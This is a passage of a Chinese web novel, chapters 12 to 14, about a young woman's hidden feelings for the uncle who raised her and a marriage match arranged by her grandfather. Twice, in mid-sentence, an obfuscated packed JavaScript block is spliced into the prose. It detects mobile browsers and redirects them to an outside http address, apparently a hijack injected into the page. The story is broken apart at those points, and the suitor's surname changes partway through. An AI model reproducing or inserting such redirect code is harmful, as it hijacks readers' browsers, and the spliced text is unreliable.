“所以真的是因为这样可笑的借口?因为这样的理由,就能让你轻易同意加她微信,小叔叔,我很难不多想。”明绯雪白的面孔在灯光下显得格外清冷:“如果你是那样的想法,你觉得合适吗?她是我的同学,而你是我的小叔叔。” 宴西叙蹙眉,“你在想什么?” 他重重地吐出一口气,最终还是道:“我只是,想知道你在学校的具体情况。确切地说,是有没有早恋。关于这个问题,我不方便直接问你,但我想,你的那些关系不错的女同学,应该会很清楚。” “刚才不想说,是怕你觉得我管你太多,会不开心。” 宴西叙嗓音微沉:“但是绯绯,你该清楚,集训之后,就是艺考了,我知道你想考入北美,实现梦想。而只要你想的东西,我会比你更想。” “那是你的梦想,也是我的。” “这样的关头,我不希望有任何的事让你分心,尤其是早恋。” 明绯微怔,嘴唇动了动:“所以……只是因为这个?” 宴西叙:“不然?” 她悄悄松了口气。 与此同时,心底又浮上了一种难以名状的悲哀。 宴西叙会同意加别的女生都微信,居然只是因为担心她会早恋,所以想从别的女同学那里第一时间了解自己的状况。 不是她之前担心的那个原因,而是因为这个,所以她该感到庆幸么,还是悲哀? ——他居然,会怀疑她早恋? 明绯觉得可笑,也就真的笑出了声:“我没有早恋,这一点小叔叔永远不必担心。” “你也完全不需要加林茜然的微信,如果我真的早恋,这个世上,没有人会比你先知道。” 明绯深看了他一眼,嗓音显得有几分飘渺:“小叔叔,你真的觉得,我还能喜欢上别人吗?” 楼道的吊灯忽然轻微地晃动,折射出令人目眩的光斑。 灯光一寸一寸地划过他的侧脸,像是某种倒计时。 宴西叙额角一跳,喉结上下滚动:“什么?” 他隐隐觉得有几分怪异。 然而待要细想,那种说不上来的怪异感却如游丝一般,一闪而过,究竟抓不住。 等视线再次落在明绯脸上时,她已经恢复成平时乖巧温顺的模样,用一种懵懂天真的眼神看着他。 仿佛一切都只是他的错觉。 “没什么,”明绯弯唇,很快就掩饰好了一切,笑容一如往昔那般甜美无害:“我只是想说,我有什么事情,一定会第一时间和小叔叔分享的。” 她说着轻轻蹙眉,唇瓣撅着,仿佛十分委屈似得:“小叔叔,我只是想让你多给我一点信任。” 原来只是这个意思。 宴西叙不再多想,轻扯了唇角,懒洋洋地道:“行,你都这么说了,我当然信你。这次就当我多想了,是我不对,小叔叔给你道歉,可以了吗?” “那……林茜然?” 宴西叙挑眉,低头拿出手机,修长手指快速扣着屏幕,在聊天框里打下一行字:“抱歉……”他找了个合适的理由发给林茜然。 他将屏幕展示给明绯看,然后当着她的面跟林茜然互删了微信。 “喏,满意了?” 明绯弯唇,脸颊边梨涡若隐若现:“谢谢小叔叔。” 13. 第 13 章 转眼间老爷子已经在宴宅待了大半个月,这差不多是他能在家里待的最长期限,再过两天,他就不得不回医院继续受治疗了。 这原也没什么,这么多年,他早就已经习惯这样的生活。何况这段日子说长不长,说短也算不上短,隔段时间就能和家里的小辈聚上一聚,在他这个年纪,他已经很满足了。 唯一放心不下的,是明绯的终身大事,虽然她年纪还小,但出于他的考量,有些事情,不得不现在就考虑起来了。 看来在这剩下的两日,是要抓紧了。 —— 晚上老爷子把宴西叙叫到房里,跟他说了他的想法,以及他心目中的人选——陆昭宁。 “给明绯找夫婿,家世自然不能差,陆家也算是北城叫得上号的,陆昭宁我也见过,模样周正,性子沉稳,之前在英国留学,最近刚回来,前段时间听说还跟着他父亲来参加过小明绯的生日宴,对她一见钟情,陆父托人七拐八绕地来打探我的口风,我一寻思,也不是不行啊。明绯长大了,有些事情,是要早做打算了。西叙啊,你的意思呢?” 宴西叙站在老爷子面前,背对着光,一张脸隐在阴影处,看不清神色:“陆家?” “那个父辈投资失败、新能源项目暴雷,早就没落的陆家?” “一见钟情?是对绯绯一见钟情,还是对能帮扶他的宴氏一见钟情?” 老爷子握着手杖的手紧了紧,往地上重重一杵:“怎么,我给明绯挑的对象,你还不满意?” 他就不爱听他讲这话:“那怎么不见你给她好好挑一个,否则这种事,还轮得着我来操心!” “是,陆家是没落了!但毕竟底子还在,人脉和名声也还在,倘若宴家能够帮他们一把,未必不能再起来。” “你要说他完全图明绯这个人,我也没法跟你打这个包票,但他想要通过联姻获得宴家的注资和商业背书,也是无可厚非的事。” “话又说回来了,那陆家没落也不是一天两天了,陆父怎么早不说晚不说,非得在明绯办完成人礼之后再说?嘿,别说年纪小,那北城但凡叫得上名的人家,订娃娃亲的多的去了。这说明陆家也是见到人之后,才有这个想法的,不是光看中宴家。” “况且说是联姻,但陆家有求于我们,好拿捏,说白了,就是入赘。陆家要不是没落了,能答应这样的条件吗?” 宴西叙蹙眉:“可是绯绯还小。爷爷,现在说这些,是不是太早了?” “这种事,就是要早做打算!陆昭宁这样的联姻的对象,可遇不可求。放眼整个北城,叫得上号的人家,哪家愿意入赘?” 老爷子又杵了杵拐杖,本就不多的耐心彻底告罄:“你怎么个意思,倒是说句话啊。” 宴西叙搭下眼睑,嗓音低冷:“您都已经决定了,何必问我。事关绯绯,您不如去问问她的心意。” “放屁!”老爷子瞪他:“别以为我不知道,明绯这孩子从小就黏你,最听你的话,我年纪大了,精力也不行了,这事,只能你去做工作!” 老爷子说着叹了口气,语气也软了下来:“西叙,不是爷爷想逼你们,爷爷年纪大了。身子又不好,恐怕是没几年活头了。我就想等我还在的时候,每次回来,都能见到你和绯绯。” “绯绯是你一手带大的,你也不想她以后结婚生子了,就离开宴家,离开北城吧?是,她现在是还小,可要不了多久,她就要上大学了,到那个时候,未必还会留在北城,大学里的学生,来自五湖四海,你能保证她不会交一个距离北城千里之外的男朋友,毕业之后,直接跟他回他所在的城市?你也不想她离开宴家,把你这个小叔叔抛诸脑后吧?” 宴西叙下颌微微收紧,垂在身侧的手指无意识地蜷缩了一下。 老爷子观察他的神情,知道他是戳到了他的痛处了,眉毛一挑,继续说道:“就是为着这个,我才想早早地为她做打算,像陆昭宁这种,家世品貌都配得上明绯,又好拿捏的,过了这个村,就没这个店了,所以才要早些定下。西叙啊,你还不能明白我的良苦用心吗?” “你舍不得小明绯,难道我就舍得?所以啊,你要帮帮爷爷,也帮帮你自己。” 宴西叙喉结滚动,顿了顿,嗓音滞涩:“好,” 他道:“都听爷爷的。” —— 明绯这天回家,看到房间的床上放了一件崭新的晚礼服,想到了什么,眼神立刻变得惊喜,大声叫来了兰姨。 兰姨匆匆地上楼进房,看了一眼那件晚礼服,说道:“哦,那是西叙让我给你放床上的,等晚上他回来了,说要带你参加一个晚宴。” “参加晚宴,带上我吗?”心中的猜测得到证实,明绯变得雀跃不已,她按捺住欣喜,把兰姨送出去后,她关上门,换上晚礼服,兴奋地对着镜子转了一圈又一圈。 从晚上六点到六点半,这短短的半个小时,明绯每一分每一秒,都处在极度兴奋和期待的状态。 和宴西叙一起参加晚宴,那不就是以女伴的身份吗? 不再是他的小侄女,而是以另一种身份,光明正大地站在他身边,和他一起出现在众人面前,这一天,她已经等得太久太久。 —— 宴西叙刚回到宴宅,明绯就从楼梯上飞快地走了下来,少女嗓音甜美,语气是掩饰不住的欢快:“小叔叔!” 宴西叙走到楼梯口等她,少女走势太急,一时收不住,笑着跌进他的怀里。 宴西叙扶住她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660776|188424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手臂,微微蹙眉:“多大的人了,还这么走路,不怕摔着?” 明绯仰着脸,灯光下白腻的肌肤散发着莹润的光泽,漂亮清润的眼睛盛着璀璨明亮的光,一瞬不瞬地看着他,就好像他是她的全世界:“因为我知道小叔叔一定会接住我啊。” 宴西叙喉结滚动,伸手捏了捏她的后颈:“兰姨都跟你说了?” “嗯嗯!” 明绯翘起唇角,笑容甜美:“兰姨说了,小叔叔要带我参加晚宴噢。” 她说着直起身,轻轻转了一圈,问他:“好看吗?” 裙摆随着她的动作荡漾开层层涟漪,上面的立体珠绣折射出粲然光芒,缎面收腰极细,勾勒出她不盈一握的腰肢。 乌黑的长发垂落至腰际,如海藻一般茂密,瓷白的肌肤在灯光下莹润生辉,五官精致,樱唇潋滟。 “很美。”宴西叙说。 他松了松领带,忽然从心底涌上一阵郁躁。 似乎在他看来,明绯不需要为了见陆昭宁精心装扮。 一件用来让绯绯永远留在宴家、留在他身边的工具而已,根本不必她为他花费一丝一毫的心思。 他不配。 —— 出发前,宴西叙坐在驾驶座上,机械地开关打火机,一遍又一遍,金属打火机的开合声在幽闭的车厢显得格外清晰,“啪嗒”、“啪嗒”,像是某种克制的宣泄。 火苗蹿起,下一刻,又倏忽熄灭。 火光跳跃,在他漆黑的眼睫下方投下一片晃动的阴影,明明灭灭。 他只是一直在重复这个动作。 一旁的明绯等了一会儿,忍不住轻声询问:“小叔叔,我们还不出发吗?” 宴西叙动作一顿,将打火机随手扔在杯架上:“七点半的晚宴,半个小时的车程就足够了,我们七点再出发。” 他低头扫了一眼手表,“还有五分钟。” “那我们不需要提前一点出发吗?”明绯问。 宴西叙:“没必要。” “噢。” 宴西叙转头看了她一眼,车内昏暗的光线下,看不清他脸上的神情:“绯绯等不及了吗。” 明绯眨了眨眼,“也不是,只是……” “那就是了。”他看着她,轻掀了唇角,一双眼在昏暗的光线下愈发蛊人,“宴会上都是些不相干的人。去那么早做什么,和我在车里多待一会儿不好吗。” 明绯一怔,想了想好像也是,便弯起唇角,乖巧应道:“都听小叔叔的。” 可五分钟实在太短暂了,短暂到几乎没有任何意义。 拖延到了最后一刻,七点一到,车子还是不得不准时启动。 就像有些事,他始终不得不去做。 14. 第 14 章 半个小时的车程很快就到,下车的前一刻,宴西叙叫住了她。 明绯正拎着裙子下车,闻言动作一顿,转过身来:“怎么了,小叔叔?” 车辆熄火,车厢随之暗了下来,只有中央液晶屏上的光源仍然固执地亮着,冷白的光映在挡风玻璃上上,泛着一圈极淡的光晕。 那点微弱的光倒映在他的眼底,他的声音也很淡:“绯绯,” 他问:“你会永远陪在我身边么?” 那样漫不相关的一个问题。 明绯一愣,随即弯唇,毫不犹疑地回答:“当然啊。” “我会永远陪在小叔叔身边,”她看着他,语气郑重地说:“永远的意思,就是直到我死的那一刻,我都不会离开你。” 宴西叙深深地一闭眼,心中的那股郁结之气终于散去。 —— 等到了现场,在侍者的引领下,宴西叙挽着明绯的手进入宴会厅。 宴会厅内光线柔和,水晶灯晕开暖黄色的光调,在一众宾客的身上落下朦胧的光晕。 侍者端着托盘来回穿梭,不远处一支小型乐队正在演奏着弦乐,舒缓的乐曲缓缓流淌,光束灯投落的暧昧光影随着音乐游移变幻。 慈善晚会的竞拍还没开始,主办方正在台上说着致谢词。 宴西叙带着明绯来到座位旁坐下,桌上放着与邀请函实名关联的拍卖号牌,明绯第一次参加这种晚宴,觉得新鲜,忍不住拿起来看。 宴西叙从侍者的托盘上拿了一杯苏打水,一边喝着,一边打量着她。 等终于一口气喝干杯里的水,他放下水杯,叫了她的名字,“绯绯,” “嗯?”少女开心地转了过来,梨涡浅浅:“怎么了,小叔叔?” 宴西叙搭在桌上的手指蜷缩了一下,喉结上下滚动:“我公司临时有点事,要出去一趟。” “啊……”少女红唇撅起,不满地拖长了一声。 宴西叙抬手,摸了摸她的脑袋:“你乖乖地待在这里,我忙完就来找你,好不好?” 明绯虽然骄纵任性,却也不会无理取闹,宴西叙突然提出离席,肯定是有什么重要的事。 尽管不太情愿,但她还是点了点头,眼神带了点渴望,水汪汪地看着他:“那你要快点回来……” 宴西叙“嗯”了一声,迅速移开视线,站起身,“有喜欢的,随便什么,都拍下,等小叔叔来接你。” —— 宴西叙走后,明绯百无聊赖地把玩着手里的拍卖号牌,竞拍早已开始,不过没有宴西叙在她身边,她并没有什么兴趣。 她只希望宴西叙能快点回来,赶得上晚宴最后的舞会——作为他的女伴,最期待的环节不就是这个吗? 正想得入神,一旁的空位上忽然坐下一个人。 明绯一愣,随意地望过去,视线正好与他相碰,是个长相很斯文的男生,戴着一副黑色半框眼镜,很年轻,也很英俊。 不同于宴西叙肆意张扬、极具侵略性的长相与气质,他给人的感觉很温和,像是一块色泽温润古朴的玉,触之生温。 男生朝她微笑,明绯礼貌地颔首,正要移开视线,他忽然叫了她一声:“明小姐,又见面了。” 明绯怔了下:“……我们见过吗?” “上个月明小姐的成人礼,我有幸参加,明小姐不记得我了吗?” 明绯茫然地摇了摇头。 他能说出上个月是她的成人礼,说明他应该真的参加过她的生日,不过那时她的注意力都在宴西叙身上,根本没有留意到他。 男生闻言并不介意:“没关系,重新认识也是一样的,明小姐,我叫陆昭宁,很荣幸今晚能让明小姐成为我的女伴。” “女伴?”明绯蹙眉:“你是不是弄错了?我是和我小叔叔一起来的。” “是啊,小宴总没跟你说吗,”陆昭宁微笑:“老爷子让他把你送过来,以女伴的身份,正式介绍和我认识。” “不……不会的,怎么可能呢,我明明……我明明是和我小叔叔一起来的……” 陆昭宁笑起来:“明小姐该不会是想说,你是小宴总的女伴吧,他可是你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660777|188424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小叔叔……” 明绯脸色有一瞬间的苍白。 陆昭宁显然不过随口一说,但却戳中了她最隐秘的心事,像是某种刺耳的提醒,让她觉得难堪。 角落的乐队忽然奏响舞曲,头顶的光束变幻着光影,所有人都跟着起身走到舞池中央,随着音乐慢慢起舞。 竞拍不知何时已经结束,舞会开始了。 而宴西叙还没有来。 这场竞拍足足持续了两个小时,这样漫长的时间,足够宴西叙处理完紧急事件后赶回了。 他答应过她会快些回来的。 而眼下宴西叙还没有来,也并没有给她任何解释,理由似乎只有一个。 他不是走不开,而是从头到尾,都没有打算完整地陪她参加完这场晚宴。 用自己做诱饵把她约出来,然后中途换人,这算什么? 明绯觉得可笑,也就真的笑出了声。 “为什么要安排你跟我见面?”她听见自己恍惚地问。 林昭宁推了一下眼镜:“可能这么说很冒昧,我原本只是想借机先跟明小姐认识,之后再让明小姐慢慢了解我,或许会有让人期待的发展,但是既然明小姐问了,那我也不好再隐瞒——” “宴老爷子的意思,是想撮合我们两个,这也是我父亲的意思,长辈们这么做自然有他们的考量,这其中或许掺杂着家族的利益,我原本是很排斥这些的,但如果对象是明小姐的话,我想我并不反感,相反,乐意之至,只是不知道明小姐是否愿意给我一个机会,一个追求你的机会。” 明绯嗓音滞涩:“宴爷爷的意思……所以,小叔叔也知道了?” “这个,”林昭宁顿了一下:“既然是小宴总送你过来,我想,宴老爷子应该事先知会过他了。” 我想,宴老爷子应该事先知会过他了…… 我想,宴老爷子应该事先知会过他了…… 明绯只觉得耳边忽然响起一声极刺耳的鸣音,紧接着,周遭所有的声音都被掐断,她一时间什么都听不见,唯有一颗心沉沉地往下坠。